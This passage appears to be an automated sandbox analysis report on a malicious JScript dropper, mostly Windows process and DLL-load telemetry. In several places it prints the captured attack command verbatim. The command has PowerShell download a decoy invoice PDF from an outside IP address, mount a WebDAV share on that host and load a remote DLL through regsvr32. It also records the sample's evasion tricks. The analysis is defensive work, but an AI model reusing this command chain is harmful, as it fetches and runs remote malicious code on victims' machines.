Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9598.js.csv");ITextStream.WriteLine(" entry:8488 f:yhspi");ITextStream.WriteLine(" exec:2 f:yhspi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3729			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6022			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5200	Thread sleep count: 3729 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6460	Thread sleep count: 6022 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2432	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2612	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1268	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2206250258.0000025BE3048000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3434449731.00000165B8C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3433029979.00000165B3424000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2206250258.0000025BE2FE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

